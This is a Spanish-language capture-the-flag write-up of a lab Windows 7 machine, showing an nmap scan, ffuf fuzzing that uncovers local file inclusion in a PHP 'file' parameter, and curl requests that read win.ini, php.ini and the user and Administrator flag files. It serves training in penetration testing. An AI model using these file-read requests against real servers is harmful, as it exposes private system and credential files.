Enumeración de servicios
El escaneo identifica una máquina Windows 7 con Apache y PHP en el puerto 80, además de SMB y RDP. Como no disponemos de credenciales para los servicios remotos, comenzamos por la aplicación web:
❯ nmap -sCV -p 80,135,139,445,3389,5357,49152,49153,49154,49155,49156,49157 -oN 02-targeted.txt 192.168.1.35
Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-28 19:16 -03
Nmap scan report for 192.168.1.35
Host is up (0.00045s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.57 ((Win64) PHP/7.2.0)
|_http-title: Index of /
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
...
Service Info: Host: RUNAS-PC; OS: Windows; CPE: cpe:/o:microsoft:windowsDetección de la inclusión local de archivos
En el puerto 80, index.php muestra un parámetro file. El nombre sugiere que el servidor recibe una ruta y carga su contenido, por lo que comprobamos si valida o restringe el archivo solicitado:
There is no going back!
?file=Fuzzeamos con rutas conocidas de Windows. -fw 68,70 descarta las respuestas con el número de palabras asociado a los errores de la aplicación y deja visibles las respuestas diferentes:
❯ ffuf -u 'http://192.168.1.35/index.php?file=FUZZ' -w ~/Documentos/wordlists/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt -fw 68,70
...
C:/Windows/win.ini [Status: 200, ...]
c:/php/php.ini [Status: 200, ...]
c:/WINDOWS/WindowsUpdate.log [Status: 200, ...]
...La lectura de win.ini, php.ini y WindowsUpdate.log confirma una LFI: la aplicación no limita el parámetro al directorio previsto y PHP devuelve archivos arbitrarios accesibles para la cuenta de Apache. En este escenario, la inclusión se utiliza como Arbitrary File Read y no como ejecución de código.
Enumeración de usuarios y lectura de las flags
En C:/WINDOWS/WindowsUpdate.log aparece el usuario runas. Con ese nombre podemos construir la ruta habitual de su escritorio y solicitar la flag directamente a través del mismo parámetro vulnerable:
❯ curl 'http://192.168.1.35/index.php?file=c:/users/runas/desktop/user.txt'
...
HMV{...}
...
❯ curl 'http://192.168.1.35/index.php?file=c:/users/administrator/desktop/root.txt'
...
HMV{...}
...La cuenta del servicio web también puede leer el escritorio de Administrator, por lo que en esta máquina no es necesario obtener una shell ni escalar privilegios: la exposición de archivos ya alcanza ambos objetivos. Recuperamos las flags y damos por completada la máquina.